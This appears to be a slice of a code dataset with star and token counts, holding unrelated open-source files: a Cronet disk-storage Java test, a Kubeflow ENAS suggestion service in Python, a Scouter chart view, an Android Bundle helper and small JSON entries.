max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
335
{ "word": "Beneficiary", "definitions": [ "a person who derives advantage from something, generally a will or an insurance policy" ], "parts-of-speech": "Noun" }
56
2,151
<filename>components/cronet/android/test/javatests/src/org/chromium/net/DiskStorageTest.java // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.net; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import static org.chromium.net.CronetTestRule.getContext; import static org.chromium.net.CronetTestRule.getTestStorage; import android.support.test.filters.SmallTest; import org.junit.After; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; import org.chromium.base.FileUtils; import org.chromium.base.PathUtils; import org.chromium.base.test.BaseJUnit4ClassRunner; import org.chromium.base.test.util.Feature; import org.chromium.net.CronetTestRule.OnlyRunNativeCronet; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.FileReader; import java.util.Arrays; /** * Test CronetEngine disk storage. */ @RunWith(BaseJUnit4ClassRunner.class) public class DiskStorageTest { @Rule public final CronetTestRule mTestRule = new CronetTestRule(); private String mReadOnlyStoragePath; @Before public void setUp() throws Exception { System.loadLibrary("cronet_tests"); assertTrue(NativeTestServer.startNativeTestServer(getContext())); } @After public void tearDown() throws Exception { if (mReadOnlyStoragePath != null) { FileUtils.recursivelyDeleteFile(new File(mReadOnlyStoragePath)); } NativeTestServer.shutdownNativeTestServer(); } @Test @SmallTest @Feature({"Cronet"}) @OnlyRunNativeCronet // Crashing on Android Cronet Builder, see crbug.com/601409. public void testReadOnlyStorageDirectory() throws Exception { mReadOnlyStoragePath = PathUtils.getDataDirectory() + "/read_only"; File readOnlyStorage = new File(mReadOnlyStoragePath); assertTrue(readOnlyStorage.mkdir()); // Setting the storage directory as readonly has no effect. assertTrue(readOnlyStorage.setReadOnly()); ExperimentalCronetEngine.Builder builder = new ExperimentalCronetEngine.Builder(getContext()); builder.setStoragePath(mReadOnlyStoragePath); builder.enableHttpCache(CronetEngine.Builder.HTTP_CACHE_DISK, 1024 * 1024); CronetEngine cronetEngine = builder.build(); TestUrlRequestCallback callback = new TestUrlRequestCallback(); String url = NativeTestServer.getFileURL("/cacheable.txt"); UrlRequest.Builder requestBuilder = cronetEngine.newUrlRequestBuilder(url, callback, callback.getExecutor()); UrlRequest urlRequest = requestBuilder.build(); urlRequest.start(); callback.blockForDone(); assertEquals(200, callback.mResponseInfo.getHttpStatusCode()); cronetEngine.shutdown(); FileInputStream newVersionFile = null; // Make sure that version file is in readOnlyStoragePath. File versionFile = new File(mReadOnlyStoragePath + "/version"); try { newVersionFile = new FileInputStream(versionFile); byte[] buffer = new byte[] {0, 0, 0, 0}; int bytesRead = newVersionFile.read(buffer, 0, 4); assertEquals(4, bytesRead); assertTrue(Arrays.equals(new byte[] {1, 0, 0, 0}, buffer)); } finally { if (newVersionFile != null) { newVersionFile.close(); } } File diskCacheDir = new File(mReadOnlyStoragePath + "/disk_cache"); assertTrue(diskCacheDir.exists()); File prefsDir = new File(mReadOnlyStoragePath + "/prefs"); assertTrue(prefsDir.exists()); } @Test @SmallTest @Feature({"Cronet"}) @OnlyRunNativeCronet // Crashing on Android Cronet Builder, see crbug.com/601409. public void testPurgeOldVersion() throws Exception { String testStorage = getTestStorage(getContext()); File versionFile = new File(testStorage + "/version"); FileOutputStream versionOut = null; try { versionOut = new FileOutputStream(versionFile); versionOut.write(new byte[] {0, 0, 0, 0}, 0, 4); } finally { if (versionOut != null) { versionOut.close(); } } File oldPrefsFile = new File(testStorage + "/local_prefs.json"); FileOutputStream oldPrefsOut = null; try { oldPrefsOut = new FileOutputStream(oldPrefsFile); String dummy = "dummy content"; oldPrefsOut.write(dummy.getBytes(), 0, dummy.length()); } finally { if (oldPrefsOut != null) { oldPrefsOut.close(); } } ExperimentalCronetEngine.Builder builder = new ExperimentalCronetEngine.Builder(getContext()); builder.setStoragePath(getTestStorage(getContext())); builder.enableHttpCache(CronetEngine.Builder.HTTP_CACHE_DISK, 1024 * 1024); CronetEngine cronetEngine = builder.build(); TestUrlRequestCallback callback = new TestUrlRequestCallback(); String url = NativeTestServer.getFileURL("/cacheable.txt"); UrlRequest.Builder requestBuilder = cronetEngine.newUrlRequestBuilder(url, callback, callback.getExecutor()); UrlRequest urlRequest = requestBuilder.build(); urlRequest.start(); callback.blockForDone(); assertEquals(200, callback.mResponseInfo.getHttpStatusCode()); cronetEngine.shutdown(); FileInputStream newVersionFile = null; try { newVersionFile = new FileInputStream(versionFile); byte[] buffer = new byte[] {0, 0, 0, 0}; int bytesRead = newVersionFile.read(buffer, 0, 4); assertEquals(4, bytesRead); assertTrue(Arrays.equals(new byte[] {1, 0, 0, 0}, buffer)); } finally { if (newVersionFile != null) { newVersionFile.close(); } } oldPrefsFile = new File(testStorage + "/local_prefs.json"); assertTrue(!oldPrefsFile.exists()); File diskCacheDir = new File(testStorage + "/disk_cache"); assertTrue(diskCacheDir.exists()); File prefsDir = new File(testStorage + "/prefs"); assertTrue(prefsDir.exists()); } @Test @SmallTest @Feature({"Cronet"}) @OnlyRunNativeCronet // Tests that if cache version is current, Cronet does not purge the directory. public void testCacheVersionCurrent() throws Exception { // Initialize a CronetEngine and shut it down. ExperimentalCronetEngine.Builder builder = new ExperimentalCronetEngine.Builder(getContext()); builder.setStoragePath(getTestStorage(getContext())); builder.enableHttpCache(CronetEngine.Builder.HTTP_CACHE_DISK, 1024 * 1024); CronetEngine cronetEngine = builder.build(); TestUrlRequestCallback callback = new TestUrlRequestCallback(); String url = NativeTestServer.getFileURL("/cacheable.txt"); UrlRequest.Builder requestBuilder = cronetEngine.newUrlRequestBuilder(url, callback, callback.getExecutor()); UrlRequest urlRequest = requestBuilder.build(); urlRequest.start(); callback.blockForDone(); assertEquals(200, callback.mResponseInfo.getHttpStatusCode()); cronetEngine.shutdown(); // Create a dummy file in storage directory. String testStorage = getTestStorage(getContext()); File dummyFile = new File(testStorage + "/dummy.json"); FileOutputStream dummyFileOut = null; String dummyContent = "dummy content"; try { dummyFileOut = new FileOutputStream(dummyFile); dummyFileOut.write(dummyContent.getBytes(), 0, dummyContent.length()); } finally { if (dummyFileOut != null) { dummyFileOut.close(); } } // Creates a new CronetEngine and make a request. CronetEngine engine = builder.build(); TestUrlRequestCallback callback2 = new TestUrlRequestCallback(); String url2 = NativeTestServer.getFileURL("/cacheable.txt"); UrlRequest.Builder requestBuilder2 = engine.newUrlRequestBuilder(url2, callback2, callback2.getExecutor()); UrlRequest urlRequest2 = requestBuilder2.build(); urlRequest2.start(); callback2.blockForDone(); assertEquals(200, callback2.mResponseInfo.getHttpStatusCode()); engine.shutdown(); // Dummy file still exists. BufferedReader reader = new BufferedReader(new FileReader(dummyFile)); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { stringBuilder.append(line); } reader.close(); assertEquals(dummyContent, stringBuilder.toString()); File diskCacheDir = new File(testStorage + "/disk_cache"); assertTrue(diskCacheDir.exists()); File prefsDir = new File(testStorage + "/prefs"); assertTrue(prefsDir.exists()); } }
3,715
1,177
# Copyright 2021 The Kubeflow Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging from logging import getLogger, StreamHandler, INFO import json import os import tensorflow as tf import grpc from pkg.apis.manager.v1beta1.python import api_pb2 from pkg.apis.manager.v1beta1.python import api_pb2_grpc from pkg.suggestion.v1beta1.nas.enas.Controller import Controller from pkg.suggestion.v1beta1.nas.enas.Operation import SearchSpace from pkg.suggestion.v1beta1.nas.enas.AlgorithmSettings import ( parseAlgorithmSettings, algorithmSettingsValidator, enableNoneSettingsList) from pkg.suggestion.v1beta1.internal.base_health_service import HealthServicer class EnasExperiment: def __init__(self, request, logger): self.logger = logger self.experiment_name = request.experiment.name self.experiment = request.experiment self.num_trials = 1 self.tf_graph = tf.Graph() self.ctrl_cache_file = "ctrl_cache/{}.ckpt".format( self.experiment_name) self.suggestion_step = 0 self.algorithm_settings = None self.controller = None self.num_layers = None self.input_sizes = None self.output_sizes = None self.num_operations = None self.search_space = None self.opt_direction = None self.objective_name = None self.logger.info("-" * 100 + "\nSetting Up Suggestion for Experiment {}\n".format( self.experiment_name) + "-" * 100) self._get_experiment_param() self._setup_controller() self.logger.info(">>> Suggestion for Experiment {} has been initialized.\n".format( self.experiment_name)) def _get_experiment_param(self): # this function need to # 1) get the number of layers # 2) get the I/O size # 3) get the available operations # 4) get the optimization direction (i.e. minimize or maximize) # 5) get the objective name # 6) get the algorithm settings # Get Search Space self.opt_direction = self.experiment.spec.objective.type self.objective_name = self.experiment.spec.objective.objective_metric_name nas_config = self.experiment.spec.nas_config graph_config = nas_config.graph_config self.num_layers = int(graph_config.num_layers) self.input_sizes = list(map(int, graph_config.input_sizes)) self.output_sizes = list(map(int, graph_config.output_sizes)) search_space_raw = nas_config.operations search_space_object = SearchSpace(search_space_raw) self.search_space = search_space_object.search_space self.num_operations = search_space_object.num_operations self.print_search_space() # Get Experiment Algorithm Settings settings_raw = self.experiment.spec.algorithm.algorithm_settings self.algorithm_settings = parseAlgorithmSettings(settings_raw) self.print_algorithm_settings() def _setup_controller(self): with self.tf_graph.as_default(): self.controller = Controller( num_layers=self.num_layers, num_operations=self.num_operations, controller_hidden_size=self.algorithm_settings['controller_hidden_size'], controller_temperature=self.algorithm_settings['controller_temperature'], controller_tanh_const=self.algorithm_settings['controller_tanh_const'], controller_entropy_weight=self.algorithm_settings['controller_entropy_weight'], controller_baseline_decay=self.algorithm_settings['controller_baseline_decay'], controller_learning_rate=self.algorithm_settings["controller_learning_rate"], controller_skip_target=self.algorithm_settings['controller_skip_target'], controller_skip_weight=self.algorithm_settings['controller_skip_weight'], controller_name="Ctrl_" + self.experiment_name, logger=self.logger) self.controller.build_trainer() def print_search_space(self): if self.search_space is None: self.logger.warning( "Error! The Suggestion has not yet been initialized!") return self.logger.info( ">>> Search Space for Experiment {}".format(self.experiment_name)) for opt in self.search_space: opt.print_op(self.logger) self.logger.info( "There are {} operations in total.\n".format(self.num_operations)) def print_algorithm_settings(self): if self.algorithm_settings is None: self.logger.warning( "Error! The Suggestion has not yet been initialized!") return self.logger.info(">>> Parameters of LSTM Controller for Experiment {}\n".format( self.experiment_name)) for spec in self.algorithm_settings: if len(spec) > 22: self.logger.info("{}:\t{}".format( spec, self.algorithm_settings[spec])) else: self.logger.info("{}:\t\t{}".format( spec, self.algorithm_settings[spec])) self.logger.info("") class EnasService(api_pb2_grpc.SuggestionServicer, HealthServicer): def __init__(self, logger=None): super(EnasService, self).__init__() self.is_first_run = True self.experiment = None if logger == None: self.logger = getLogger(__name__) FORMAT = '%(asctime)-15s Experiment %(experiment_name)s %(message)s' logging.basicConfig(format=FORMAT) handler = StreamHandler() handler.setLevel(INFO) self.logger.setLevel(INFO) self.logger.addHandler(handler) self.logger.propagate = False else: self.logger = logger if not os.path.exists("ctrl_cache/"): os.makedirs("ctrl_cache/") def ValidateAlgorithmSettings(self, request, context): self.logger.info("Validate Algorithm Settings start") graph_config = request.experiment.spec.nas_config.graph_config # Validate GraphConfig # Check InputSize if not graph_config.input_sizes: return self.SetValidateContextError(context, "Missing InputSizes in GraphConfig:\n{}".format(graph_config)) # Check OutputSize if not graph_config.output_sizes: return self.SetValidateContextError(context, "Missing OutputSizes in GraphConfig:\n{}".format(graph_config)) # Check NumLayers if not graph_config.num_layers: return self.SetValidateContextError(context, "Missing NumLayers in GraphConfig:\n{}".format(graph_config)) # Validate each operation operations_list = list( request.experiment.spec.nas_config.operations.operation) for operation in operations_list: # Check OperationType if not operation.operation_type: return self.SetValidateContextError(context, "Missing operationType in Operation:\n{}".format(operation)) # Check ParameterConfigs if not operation.parameter_specs.parameters: return self.SetValidateContextError(context, "Missing ParameterConfigs in Operation:\n{}".format(operation)) # Validate each ParameterConfig in Operation parameters_list = list(operation.parameter_specs.parameters) for parameter in parameters_list: # Check Name if not parameter.name: return self.SetValidateContextError(context, "Missing Name in ParameterConfig:\n{}".format(parameter)) # Check ParameterType if not parameter.parameter_type: return self.SetValidateContextError(context, "Missing ParameterType in ParameterConfig:\n{}".format(parameter)) # Check List in Categorical or Discrete Type if parameter.parameter_type == api_pb2.CATEGORICAL or parameter.parameter_type == api_pb2.DISCRETE: if not parameter.feasible_space.list: return self.SetValidateContextError(context, "Missing List in ParameterConfig.feasibleSpace:\n{}".format(parameter)) # Check Max, Min, Step in Int or Double Type elif parameter.parameter_type == api_pb2.INT or parameter.parameter_type == api_pb2.DOUBLE: if not parameter.feasible_space.min and not parameter.feasible_space.max: return self.SetValidateContextError(context, "Missing Max and Min in ParameterConfig.feasibleSpace:\n{}".format(parameter)) if parameter.parameter_type == api_pb2.DOUBLE and (not parameter.feasible_space.step or float(parameter.feasible_space.step) <= 0): return self.SetValidateContextError(context, "Step parameter should be > 0 in ParameterConfig.feasibleSpace:\n{}".format(parameter)) # Validate Algorithm Settings settings_raw = request.experiment.spec.algorithm.algorithm_settings for setting in settings_raw: if setting.name in algorithmSettingsValidator.keys(): if setting.name in enableNoneSettingsList and setting.value == "None": continue setting_type = algorithmSettingsValidator[setting.name][0] setting_range = algorithmSettingsValidator[setting.name][1] try: converted_value = setting_type(setting.value) except: return self.SetValidateContextError(context, "Algorithm Setting {} must be {} type".format(setting.name, setting_type.__name__)) if setting_type == float: if converted_value <= setting_range[0] or (setting_range[1] != 'inf' and converted_value > setting_range[1]): return self.SetValidateContextError(context, "Algorithm Setting {}: {} with {} type must be in range ({}, {}]".format( setting.name, converted_value, setting_type.__name__, setting_range[0], setting_range[1] )) elif converted_value < setting_range[0]: return self.SetValidateContextError(context, "Algorithm Setting {}: {} with {} type must be in range [{}, {})".format( setting.name, converted_value, setting_type.__name__, setting_range[0], setting_range[1] )) else: return self.SetValidateContextError(context, "Unknown Algorithm Setting name: {}".format(setting.name)) self.logger.info("All Experiment Settings are Valid") return api_pb2.ValidateAlgorithmSettingsReply() def SetValidateContextError(self, context, error_message): context.set_code(grpc.StatusCode.INVALID_ARGUMENT) context.set_details(error_message) self.logger.info(error_message) return api_pb2.ValidateAlgorithmSettingsReply() def GetSuggestions(self, request, context): if self.is_first_run: self.experiment = EnasExperiment(request, self.logger) experiment = self.experiment if request.request_number > 0: experiment.num_trials = request.request_number self.logger.info("-" * 100 + "\nSuggestion Step {} for Experiment {}\n".format( experiment.suggestion_step, experiment.experiment_name) + "-" * 100) self.logger.info("") self.logger.info(">>> RequestNumber:\t\t{}".format(experiment.num_trials)) self.logger.info("") with experiment.tf_graph.as_default(): saver = tf.compat.v1.train.Saver() ctrl = experiment.controller controller_ops = { "loss": ctrl.loss, "entropy": ctrl.sample_entropy, "grad_norm": ctrl.grad_norm, "baseline": ctrl.baseline, "skip_rate": ctrl.skip_rate, "train_op": ctrl.train_op, "train_step": ctrl.train_step, "sample_arc": ctrl.sample_arc, "child_val_accuracy": ctrl.child_val_accuracy, } if self.is_first_run: self.logger.info(">>> First time running suggestion for {}. Random architecture will be given.".format( experiment.experiment_name)) with tf.compat.v1.Session() as sess: sess.run(tf.compat.v1.global_variables_initializer()) candidates = list() for _ in range(experiment.num_trials): candidates.append( sess.run(controller_ops["sample_arc"])) # TODO: will use PVC to store the checkpoint to protect against unexpected suggestion pod restart saver.save(sess, experiment.ctrl_cache_file) self.is_first_run = False else: with tf.compat.v1.Session() as sess: saver.restore(sess, experiment.ctrl_cache_file) result = self.GetEvaluationResult(request.trials) # TODO: (andreyvelich) I deleted this part, should it be handle by controller? # Sometimes training container may fail and GetEvaluationResult() will return None # In this case, the Suggestion will: # 1. Firstly try to respawn the previous trials after waiting for RESPAWN_SLEEP seconds # 2. If respawning the trials for RESPAWN_LIMIT times still cannot collect valid results, # then fail the task because it may indicate that the training container has errors. if result is None: self.logger.warning( ">>> Suggestion has spawned trials, but they all failed.") self.logger.warning( ">>> Please check whether the training container is correctly implemented") self.logger.info(">>> Experiment {} failed".format( experiment.experiment_name)) return [] # This LSTM network is designed to maximize the metrics # However, if the user wants to minimize the metrics, we can take the negative of the result if experiment.opt_direction == api_pb2.MINIMIZE: result = -result self.logger.info(">>> Suggestion updated. LSTM Controller Training\n") log_every = experiment.algorithm_settings["controller_log_every_steps"] for ctrl_step in range(1, experiment.algorithm_settings["controller_train_steps"]+1): run_ops = [ controller_ops["loss"], controller_ops["entropy"], controller_ops["grad_norm"], controller_ops["baseline"], controller_ops["skip_rate"], controller_ops["train_op"] ] loss, entropy, grad_norm, baseline, skip_rate, _ = sess.run( fetches=run_ops, feed_dict={controller_ops["child_val_accuracy"]: result}) controller_step = sess.run(controller_ops["train_step"]) if ctrl_step % log_every == 0: log_string = "" log_string += "Controller Step: {} - ".format(controller_step) log_string += "Loss: {:.4f} - ".format(loss) log_string += "Entropy: {:.9} - ".format(entropy) log_string += "Gradient Norm: {:.7f} - ".format(grad_norm) log_string += "Baseline={:.4f} - ".format(baseline) log_string += "Skip Rate={:.4f}".format(skip_rate) self.logger.info(log_string) candidates = list() for _ in range(experiment.num_trials): candidates.append( sess.run(controller_ops["sample_arc"])) saver.save(sess, experiment.ctrl_cache_file) organized_candidates = list() parameter_assignments = list() for i in range(experiment.num_trials): arc = candidates[i].tolist() organized_arc = [0 for _ in range(experiment.num_layers)] record = 0 for l in range(experiment.num_layers): organized_arc[l] = arc[record: record + l + 1] record += l + 1 organized_candidates.append(organized_arc) nn_config = dict() nn_config['num_layers'] = experiment.num_layers nn_config['input_sizes'] = experiment.input_sizes nn_config['output_sizes'] = experiment.output_sizes nn_config['embedding'] = dict() for l in range(experiment.num_layers): opt = organized_arc[l][0] nn_config['embedding'][opt] = experiment.search_space[opt].get_dict() organized_arc_json = json.dumps(organized_arc) nn_config_json = json.dumps(nn_config) organized_arc_str = str(organized_arc_json).replace('\"', '\'') nn_config_str = str(nn_config_json).replace('\"', '\'') self.logger.info( "\n>>> New Neural Network Architecture Candidate #{} (internal representation):".format(i)) self.logger.info(organized_arc_json) self.logger.info("\n>>> Corresponding Seach Space Description:") self.logger.info(nn_config_str) parameter_assignments.append( api_pb2.GetSuggestionsReply.ParameterAssignments( assignments=[ api_pb2.ParameterAssignment( name="architecture", value=organized_arc_str ), api_pb2.ParameterAssignment( name="nn_config", value=nn_config_str ) ] ) ) self.logger.info("") self.logger.info(">>> {} Trials were created for Experiment {}".format( experiment.num_trials, experiment.experiment_name)) self.logger.info("") experiment.suggestion_step += 1 return api_pb2.GetSuggestionsReply(parameter_assignments=parameter_assignments) def GetEvaluationResult(self, trials_list): completed_trials = dict() failed_trials = [] for t in trials_list: if t.status.condition == api_pb2.TrialStatus.TrialConditionType.SUCCEEDED: target_value = None for metric in t.status.observation.metrics: if metric.name == t.spec.objective.objective_metric_name: target_value = metric.value break # Take only the first metric value # In current cifar-10 training container this value is the latest completed_trials[t.name] = float(target_value) if t.status.condition == api_pb2.TrialStatus.TrialConditionType.FAILED: failed_trials.append(t.name) n_completed = len(completed_trials) self.logger.info(">>> By now: {} Trials succeeded, {} Trials failed".format( n_completed, len(failed_trials))) for tname in completed_trials: self.logger.info("Trial: {}, Value: {}".format( tname, completed_trials[tname])) for tname in failed_trials: self.logger.info("Trial: {} was failed".format(tname)) if n_completed > 0: avg_metrics = sum(completed_trials.values()) / n_completed self.logger.info("The average is {}\n".format(avg_metrics)) return avg_metrics
9,600
2,053
/* * Copyright 2015 the original author or authors. * @https://github.com/scouter-project/scouter * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package scouter.client.counter.views; import java.util.Iterator; import java.util.List; import java.util.Map; import org.csstudio.swt.xygraph.dataprovider.CircularBufferDataProvider; import org.csstudio.swt.xygraph.dataprovider.Sample; import org.csstudio.swt.xygraph.figures.Trace; import org.csstudio.swt.xygraph.figures.Trace.PointStyle; import org.csstudio.swt.xygraph.figures.Trace.TraceType; import org.csstudio.swt.xygraph.figures.XYGraph; import org.eclipse.core.runtime.IProgressMonitor; import org.eclipse.core.runtime.IStatus; import org.eclipse.core.runtime.Status; import org.eclipse.core.runtime.jobs.Job; import org.eclipse.draw2d.FigureCanvas; import org.eclipse.jface.action.IMenuListener; import org.eclipse.jface.action.IMenuManager; import org.eclipse.jface.action.MenuManager; import org.eclipse.swt.SWT; import org.eclipse.swt.events.ControlEvent; import org.eclipse.swt.events.ControlListener; import org.eclipse.swt.events.MouseEvent; import org.eclipse.swt.events.MouseListener; import org.eclipse.swt.graphics.Font; import org.eclipse.swt.graphics.GC; import org.eclipse.swt.graphics.Point; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Display; import org.eclipse.swt.widgets.Menu; import org.eclipse.ui.IWorkbenchWindow; import org.eclipse.ui.PlatformUI; import scouter.client.Images; import scouter.client.counter.actions.OpenDailyServiceCountAction; import scouter.client.net.TcpProxy; import scouter.client.server.Server; import scouter.client.server.ServerManager; import scouter.client.util.ChartUtil; import scouter.client.util.ColorUtil; import scouter.client.util.ConsoleProxy; import scouter.client.util.CounterUtil; import scouter.client.util.ExUtil; import scouter.client.util.ScouterUtil; import scouter.client.views.ScouterViewPart; import scouter.lang.TimeTypeEnum; import scouter.lang.pack.MapPack; import scouter.lang.pack.Pack; import scouter.net.RequestCmd; import scouter.util.CastUtil; import scouter.util.DateUtil; import scouter.util.FormatUtil; public class CounterPastCountView extends ScouterViewPart { public static final String ID = CounterPastCountView.class.getName(); protected String objType; protected String counter; protected String date; private String mode; protected int serverId; int xAxisUnitWidth; int lineWidth; public void setInput(final String date, final String objType, final String counter, final int serverId) throws Exception { this.date = date; this.objType = objType; this.counter = counter; this.serverId = serverId; Server server = ServerManager.getInstance().getServer(serverId); String svrName = ""; String counterDisplay = ""; String objectDisplay = ""; String counterUnit = ""; if(server != null){ svrName = server.getName(); counterDisplay = server.getCounterEngine().getCounterDisplayName(objType, counter); objectDisplay = server.getCounterEngine().getDisplayNameObjectType(objType); counterUnit = ""+server.getCounterEngine().getCounterUnit(objType, counter); } desc = "ⓢ"+svrName+ " | (Past) [" + objectDisplay + "][" + date.substring(0, 4) + "-" + date.substring(4, 6) + "-" + date.substring(6, 8) + "] Past-date " + counterDisplay+(!"".equals(counterUnit)?" ("+counterUnit+")":""); setViewTab(objType, counter, serverId); MenuManager mgr = new MenuManager(); mgr.setRemoveAllWhenShown(true); final IWorkbenchWindow win = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); mgr.addMenuListener(new IMenuListener() { public void menuAboutToShow(IMenuManager mgr) { mgr.add(new OpenDailyServiceCountAction(win, objType, counter, Images.bar, serverId, date)); } }); Menu menu = mgr.createContextMenu(canvas); canvas.setMenu(menu); new LoadJob("Load_" + counter).schedule(); } protected CircularBufferDataProvider traceDataProvider; protected XYGraph xyGraph; protected Trace trace; protected FigureCanvas canvas; public void createPartControl(Composite parent) { GridLayout layout = new GridLayout(1, true); layout.marginHeight = 5; layout.marginWidth = 5; parent.setLayout(layout); parent.setBackground(ColorUtil.getInstance().getColor(SWT.COLOR_WHITE)); parent.setBackgroundMode(SWT.INHERIT_FORCE); canvas = new FigureCanvas(parent); canvas.setLayoutData(new GridData(GridData.FILL_BOTH)); canvas.setScrollBarVisibility(FigureCanvas.NEVER); canvas.addControlListener(new ControlListener() { boolean lock = false; public void controlResized(ControlEvent e) { org.eclipse.swt.graphics.Rectangle r = canvas.getClientArea(); if (!lock) { lock = true; if (ChartUtil.isShowDescriptionAllowSize(r.height)) { CounterPastCountView.this.setContentDescription(desc); } else { CounterPastCountView.this.setContentDescription(""); } r = canvas.getClientArea(); lock = false; } if(xyGraph == null) return; xyGraph.setSize(r.width, r.height); lineWidth = r.width / 30; trace.setLineWidth(lineWidth); xAxisUnitWidth= xyGraph.primaryXAxis.getValuePosition(1, false) - xyGraph.primaryXAxis.getValuePosition(0, false); } public void controlMoved(ControlEvent e) { } }); canvas.addMouseListener(new MouseListener() { public void mouseUp(MouseEvent e) { canvas.redraw(); } public void mouseDown(MouseEvent e) { writeValue(e.x); } public void mouseDoubleClick(MouseEvent e) {} }); xyGraph = new XYGraph(); xyGraph.setShowLegend(false); canvas.setContents(xyGraph); xyGraph.primaryXAxis.setDateEnabled(false); xyGraph.primaryXAxis.setShowMajorGrid(false); xyGraph.primaryYAxis.setAutoScale(true); xyGraph.primaryYAxis.setShowMajorGrid(true); xyGraph.primaryXAxis.setTitle(""); xyGraph.primaryYAxis.setTitle(""); traceDataProvider = new CircularBufferDataProvider(true); traceDataProvider.setBufferSize(24); traceDataProvider.setCurrentXDataArray(new double[] {}); traceDataProvider.setCurrentYDataArray(new double[] {}); this.xyGraph.primaryXAxis.setRange(0, 24); // create the trace trace = new Trace("temp", xyGraph.primaryXAxis, xyGraph.primaryYAxis, traceDataProvider); // set trace property trace.setPointStyle(PointStyle.NONE); //trace.getXAxis().setFormatPattern("HH"); trace.getYAxis().setFormatPattern("#,##0"); trace.setLineWidth(15); trace.setTraceType(TraceType.BAR); trace.setAreaAlpha(200); trace.setTraceColor(ColorUtil.getInstance().TOTAL_CHART_COLOR); // add the trace to xyGraph xyGraph.addTrace(trace); } public void writeValue(int ex) { double x = xyGraph.primaryXAxis.getPositionValue(ex, false); int index = (int) x; if (index < 0) { return; } Sample sample = (Sample) trace.getDataProvider().getSample(index); if (sample != null) { double y = sample.getYValue(); int height = xyGraph.primaryYAxis.getValuePosition(y, false); int startX = xyGraph.primaryXAxis.getValuePosition((int) x, false); GC gc = new GC(canvas); Font font = new Font(null, "Verdana", 10, SWT.BOLD); gc.setFont(font); String value = FormatUtil.print(y, "#,###"); Point textSize = gc.textExtent(value); gc.drawText(value, startX + (xAxisUnitWidth - textSize.x) / 2 , height - 20, true); int ground = xyGraph.primaryYAxis.getValuePosition(0, false); gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_BLACK)); gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_DARK_MAGENTA)); gc.drawRectangle(startX + (xAxisUnitWidth - lineWidth) / 2, height, lineWidth, ground - height); gc.fillRectangle(startX + (xAxisUnitWidth - lineWidth) / 2 , height, lineWidth, ground - height); gc.dispose(); } } public void setFocus() { statusMessage = desc + " - setInput(String date:"+date+", String objType:"+objType+", String counter:"+counter+", int serverId:"+serverId+")"; super.setFocus(); } public void redraw() { if (canvas != null && canvas.isDisposed() == false) { canvas.redraw(); xyGraph.repaint(); } } class LoadJob extends Job { public LoadJob(String name) { super(name); } protected IStatus run(IProgressMonitor monitor) { TcpProxy tcp = TcpProxy.getTcpProxy(serverId); List<Pack> out = null; try { MapPack param = new MapPack(); param.put("date", date); param.put("counter", counter); param.put("objType", objType); out = tcp.process(RequestCmd.COUNTER_PAST_DATE_ALL, param); } catch (Throwable t) { ConsoleProxy.errorSafe(t.toString()); } finally { TcpProxy.putTcpProxy(tcp); } final long[] values = new long[(int)(DateUtil.MILLIS_PER_DAY / DateUtil.MILLIS_PER_HOUR)]; if (out != null) { Map<Long, Double> valueMap = ScouterUtil.getLoadTotalMap(counter, out, mode, TimeTypeEnum.FIVE_MIN); Iterator<Long> itr = valueMap.keySet().iterator(); while (itr.hasNext()) { long time = itr.next(); int index = (int) (DateUtil.getDateMillis(time) / DateUtil.MILLIS_PER_HOUR); values[index] += valueMap.get(time); } } ExUtil.exec(canvas, new Runnable() { public void run() { double max = 0; traceDataProvider.clearTrace(); for (int i = 0; i < values.length; i++) { traceDataProvider.addSample(new Sample(CastUtil.cdouble(i) + 0.5d, CastUtil.cdouble(values[i]))); } max = Math.max(ChartUtil.getMax(traceDataProvider.iterator()), max); if (CounterUtil.isPercentValue(objType, counter)) { xyGraph.primaryYAxis.setRange(0, 100); } else { xyGraph.primaryYAxis.setRange(0, max); } redraw(); } }); return Status.OK_STATUS; } } }
4,166
343
[ { "url": "https://elixir-lang.org/getting-started/modules-and-functions.html#default-arguments", "description": "Getting Started guide - Default Arguments" } ]
61
1,405
package android.support.v4.app; import android.os.Bundle; import android.os.IBinder; class BundleCompatJellybeanMR2 { BundleCompatJellybeanMR2() { } public static IBinder getBinder(Bundle bundle, String key) { return bundle.getBinder(key); } public static void putBinder(Bundle bundle, String key, IBinder binder) { bundle.putBinder(key, binder); } }
151
2,151
